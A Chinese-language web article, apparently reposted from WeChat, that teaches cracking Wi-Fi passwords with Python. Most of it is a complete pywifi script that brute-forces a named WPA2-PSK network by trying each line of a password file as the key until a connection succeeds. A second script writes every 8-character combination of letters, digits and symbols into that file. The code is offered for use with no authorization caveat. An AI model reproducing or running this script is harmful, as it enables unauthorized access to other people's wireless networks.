手把手教你用Python破解wifi密码
>首页 -> 社会专题 -> 硬件网络 2021-03-19 来源:微信 作者:吃河粉 【】 浏览:984

需要注意一点,就是电脑必须是要用无线网卡.

1获取无线网卡

首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。

    wifi=pywifi.PyWiFi()

#获取无线网卡
ifaces=wifi.interfaces()[0]
print(ifaces)

下面就是效果,但是它返回的是一个对象

使用这行代码就可以获取电脑无线网卡的名称:

 print(ifaces.name())

这个就是我的无线网卡

2创建连接

要判断是否连接WiFi,我们需要导入一个常量库:

 from pywifi import const

创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:

 profile=pywifi.Profile()

#要连接WiFi的名称

profile.ssid="jiayi"

#网卡的开放状态

profile.auth=const.AUTH_ALG_OPEN

#wifi加密算法,一般wifi加密算法为was

profile.akm.append(const.AKM_TYPE_WPA2PSK)

#加密单元

profile.cipher=const.CIPHER_TYPE_CCMP

删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.

        #删除所有连接过的wifi文件

ifaces.remove_all_network_profiles()

#设定新的连接文件

tep_profile=ifaces.add_network_profile(profile)

ifaces.connect(tep_profile)

#wifi连接时间

time.sleep(3)

if ifaces.status()==const.IFACE_CONNECTED:

return True

else:

return False

3读取密码本进行破解

接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用下面代码生成,也用去网上下载一个常用wifi密码,只要是TXT文本就可以。  

    #密码本路径
   path="./password.txt"

   #打开文件
   file=open(path,"r")
   while True:
       try:
           #一行一行读取
           pad=file.readline()

好了,接下来就是完整的代码

破解wifi主体

# coding:utf-8
import pywifi
from pywifi import const
import time

#测试连接,返回链接结果
def wifiConnect(pwd):

   #抓取网卡接口
   wifi=pywifi.PyWiFi()

   #获取第一个无线网卡
   ifaces=wifi.interfaces()[0]

   #断开所有连接
   ifaces.disconnect()
   time.sleep(1)
   wifistatus=ifaces.status()

   if wifistatus ==const.IFACE_DISCONNECTED:

       #创建WiFi连接文件
       profile=pywifi.Profile()

       #要连接WiFi的名称
       profile.ssid="aaa你猜"

       #网卡的开放状态
       profile.auth=const.AUTH_ALG_OPEN

       #wifi加密算法,一般wifi加密算法为wps
       profile.akm.append(const.AKM_TYPE_WPA2PSK)

       #加密单元
       profile.cipher=const.CIPHER_TYPE_CCMP

       #调用密码
       profile.key=pwd

       #删除所有连接过的wifi文件
       ifaces.remove_all_network_profiles()

       #设定新的连接文件
       tep_profile=ifaces.add_network_profile(profile)
       ifaces.connect(tep_profile)

       #wifi连接时间
       time.sleep(3)

       if ifaces.status()==const.IFACE_CONNECTED:
           return True
       else:
           return False


   else:
       print("已有wifi连接")

#读取密码本
def readPassword():

   print("开始破解:")
   #密码本路径
   path="./password.txt"

   #打开文件
   file=open(path,"r")

   while True:
       try:
           #一行一行读取
           pad=file.readline()
           bool=wifiConnect(pad)

           if bool:
               print("密码已破解: ",pad)
               print("WiFi已自动连接!!!")
               break
           else:
               #跳出当前循环,进行下一次循环
               print("密码破解中....密码校对: ",pad)
       except:
           continue

readPassword()

随机生成密码

import itertools as its

# 迭代器
number = "1234567890"
words = "abcdefghijklmnopqrstuvwyz"
te_su = ".!@#$%&*"

# 生成密码本的位数,八位数,repeat=8
r = its.product(number+words+te_su, repeat=8)

# 保存在文件中,追加
dic = open("./password.txt", "a")

# i是元组
for i in r:
   # jion空格链接
   dic.write("".join(i))
   dic.write("".join("\n"))
   print(i)
dic.close()
print("密码本已生成")
您看到此篇文章时的感受是:
Tags: 责任编辑:佚名
免责申明: 除原创及很少部分因网文图片遗失而补存外,本站不存储任何有版权的内容。你看到的文章和信息及网址索引均由机器采集自互联网,由于时间不同,内容可能完全不同,请勿拿本网内容及网址索引用于交易及作为事实依据,仅限参考,不会自行判断者请勿接受本站信息,本网转载,并不意味着赞同其观点或证实其内容的真实性.如涉及版权等问题,请立即联系管理员,我们会予以更改或删除,保证您的权利.对使用本网站信息和服务所引起的后果,本网站不作任何承诺.
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论:0条】 【关闭】 【返回顶部
更多
上一篇使用 .htaccess 提高 WordPress .. 下一篇宽屏显示器上的网站页面宽度
密码: (新用户注册)

最新文章

图片主题

热门文章

推荐文章

相关文章

便民服务

手机扫描

空间赞助

快速互动

论坛互动
讨论留言

有事联系

有哪个那个什么的,赶紧点这里给DOVE发消息

统计联系

MAIL:gnlt@Dovechina.com
正在线上:

版权与建议

任何你想说的